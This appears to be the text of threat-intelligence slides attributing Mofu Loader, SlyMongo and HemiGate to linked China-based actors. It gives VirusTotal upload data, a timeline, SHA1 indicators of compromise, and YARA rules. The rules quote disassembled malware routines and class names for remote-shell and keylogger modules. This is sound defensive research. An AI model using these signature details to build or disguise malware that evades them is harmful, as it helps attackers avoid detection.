- Investigation of Mofu Loader on VT confirms that an account (d03b8b03) has uploaded multiple Mofu Loaders from CN and HK
- Some of the malware uploaded by the account is for testing purposes and is unlikely to be the victim
- It should also be noted that the account uploaded SIESTAGRAPH and HUI Loader, which link to different threat actors

First Seen	File Name	Country	Note
2023/06/28 9:26	Client.exe	CN,shenzhen	SIESTAGRAPH
2023/06/28 8:45	versions.dll	CN,shenzhen	RC4 ver HUI Loader (Compile Time 2023-06-21 08:16:07)
2023/04/12 3:09	OneDrive.zip	CN,shenzhen	Mofu Loader -> SlyMongo
2023/03/23 3:01	OneDrive.zip	HK	Mofu Loader -> SlyMongo
2023/03/23 2:36	NetLabs.zip	HK	Dracu loader -> Hemigate



04

Summary

Relationships between actors

- GroundPeony and Ratel Master shared Mofu Loader
- Earth Estries and GroundPeony shared C2
- RatelS and HemiGate have similar malware implementations
- Both also have similarities with PlugX
- HemiGate and SlyMongo with C2 for testing were submitted from the same VT account



From the above, we can infer that several groups may be cooperating in some level, such as code-level sharing and infra sharing

Timeline


GroundPeony
Earth Estries
RatelS Master
SlyMongo
2020-09-22
Domain registration for cloudshappen.com
2021-08-24
Domain registration for onedrivo.com
2022-04-15
Loader of Hemigate compiletime
2022-05-24
Loader of Hemigate compiletime
2022-06-30
Loader of Hemigate compiletime
2022-12-03
RatelS Builder compiletime
2022-12-15
SlyMongo compiletime
2023-03-17
Spear phishing email sent to TW government
2022-05-09
Hemigate compiletime
2022-02-24 03:40:11 UTC
Mofu Loader compiletime to load SlyMongo
2022-02-24 03:38:03 UTC
Mofu Loader compiletime to load SlyMongo
2022-10-05
Mofu Loader compiletime to load RatelS
2024-10-30
RatelS compiletime
2024-10-23
version.dll compiletime
2024-11-06
micDown compiletime
2024-11-08
Install.exe compiletime

IoC

File Name	Sha1	Note
1.cab	5f9c5655e779467fb353c74901cf66ede29647f1	Dracu loader -> Hemigate
2.cab	84b8c462107ab54cf660ef33f969d937efad38f1	PlugX
libvlc.dll	bc92d96b409e7bda6d46caf4843dc9507c45b00f	Mofu Loader -> SlyMongo
usost.ppt	f9b1ca8b5386bc93bbc49d63d4e18fd8f14f25a9	SlyMongo Decrypt by libvlc.dll
OneDrive.zip	3b7426be3bc95c860083516057a76f5605d59402	Mofu Loader -> SlyMongo
OneDrive.zip	86c60bb1513b98f8023b0f5e27b598125c3f75e0	Mofu Loader -> SlyMongo
OneDrive.zip	5bde79892a7944e415c9332fbf1a6768dff447b5	Mofu Loader -> SlyMongo
NetLabs.zip	213df95ee891a2235f04f7748dd2f955b2b3cb58	Dracu loader -> Hemigate

YARA Rules

- Mofu Loader
- HemiGate(Payload)
- SlyMongo(Payload)

YARA Rules

```
rule MofuLoader {
          meta:
            description = "detect MofuLoader in memory"

          strings:
            /*
            LAB_0000000f                                    XREF[1]:     00000020(j)
                0000000f c1 ca 0c        ROR         EDX,0xc
                00000012 0f be c0        MOVSX       EAX,AL
                00000015 49 ff c3        INC         R11
                00000018 03 d0           ADD         EDX,EAX
                0000001a 41 8a 03        MOV         AL,byte ptr [R11]
                0000001d 41 3a c7        CMP         AL,R15B
                00000020 75 ed           JNZ         LAB_0000000f
                00000022 81 fa a1        CMP         EDX,0x1da0a3a1
                         a3 a0 1d
                00000028 74 62           JZ          LAB_0000008c
                0000002a 81 fa d0        CMP         EDX,0x4717a7d0
                         a7 17 47
                00000030 74 45           JZ          LAB_00000077
                00000032 81 fa a3        CMP         EDX,0x8f592ca3
                         2c 59 8f
                00000038 74 31           JZ          LAB_0000006b
                0000003a 81 fa a0        CMP         EDX,0xb01ff0a0
                         f0 1f b0
                00000040 74 15           JZ          LAB_00000057
                00000042 81 fa 4f        CMP         EDX,0xd7656a4f
                         6a 65 d7
                00000048 75 52           JNZ         LAB_0000009c
                0000004a 41 0f b7 02     MOVZX       EAX,word ptr [R10]
                0000004e 44 8b 34 87     MOV         R14D,dword ptr [RDI + RAX*0x4]
                00000052 4c 03 f1        ADD         R14,RCX
                00000055 eb 45           JMP         LAB_0000009c
            */
            $ror = { c1 c? 0c  }
            $api_hashing = { 81 f? a1 a3 a0 1d 74 ?? 81 f? d0 a7 17 47 74 ?? 81 f? a3 2c 59 8f 74 ?? 81 f? a0 f0 1f b0 74 ?? 81 f? 4f 6a 65 d7 }

          condition:
             all of them
}
```

YARA Rules

```
rule Hemigate {
          meta:
            description = "detect Hemigate in memory"

          strings:
            $cmd1 = ".?AVCATcpSocket@@"
            $cmd2 = ".?AVCBaseSocket@@"
            $cmd3 = ".?AVCFile@@"
            $cmd4 = ".?AVCmd@"
            $cmd5 = ".?AVCPro@@"
            $cmd6 = ".?AVCRdp@@"
            $cmd7 = ".?AVCShell@@"
            $cmd8 = ".?AVCSocket5@@"
            $cmd9 = ".?AVCSTlsSocket@@"
            $cmd10 = ".?AVCTransf@@"
            $cmd11 = ".?AVCFileMoniter@@"
            $cmd12 = ".?AVCKeylogPlug@@"
            $cmd13 = ".?AVCPipe@@"

          condition:
              8 of them
}
```

YARA Rules

```
rule SlyMongo {
    meta:
        desctiption = "Detect SlyMongo"
        hash = "3AA9AB1C50B6F1D8878C7F6FA9E21407579534F1C213DB5433003C14A29373E7"
    strings:
        /*
        0x14000dc93 3BCF                        cmp ecx, edi
        0x14000dc95 0F8714030000                ja 0x14000dfaf
        0x14000dc9b 0F8442020000                je 0x14000dee3
        0x14000dca1 83E90A                      sub ecx, 0xa
        0x14000dca4 0F8482010000                je 0x14000de2c
        0x14000dcaa 83E903                      sub ecx, 3
        0x14000dcad 0F846C010000                je 0x14000de1f
        0x14000dcb3 83E901                      sub ecx, 1
        0x14000dcb6 0F84AC000000                je 0x14000dd68
        0x14000dcbc 83E901                      sub ecx, 1
        0x14000dcbf 0F848D000000                je 0x14000dd52
        0x14000dcc5 83E901                      sub ecx, 1
        0x14000dcc8 7472                        je 0x14000dd3c
        0x14000dcca 83E901                      sub ecx, 1
        0x14000dccd 7460                        je 0x14000dd2f
        0x14000dccf 83E901                      sub ecx, 1
        0x14000dcd2 744A                        je 0x14000dd1e
        0x14000dcd4 83E901                      sub ecx, 1
        0x14000dcd7 7438                        je 0x14000dd11
        0x14000dcd9 83F901                      cmp ecx, 1
        0x14000dcdc 0F8554050000                jne 0x14000e236
        */
        $cmp_cmd = {3B CF 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 E9 0A 0F 84 ?? ?? ?? ??
                    83 E9 03 0F 84 ?? ?? ?? ?? 83 E9 01 0F 84 ?? ?? ?? ?? 83 E9 01 0F 84
                    ?? ?? ?? ?? 83 E9 01 74 ?? 83 E9 01 74 ?? 83 E9 01 74 ?? 83 E9 01 74
                    ?? 83 F9 01 0F 85 ?? ?? ?? ??}
        $str1 = "DNS server URL is NULL. Call mg_mgr_init()" ascii
        $str2 = "error connecting to %s" ascii
    condition:
        2 of them
}
```

Thank *you*

Do you have any questions?

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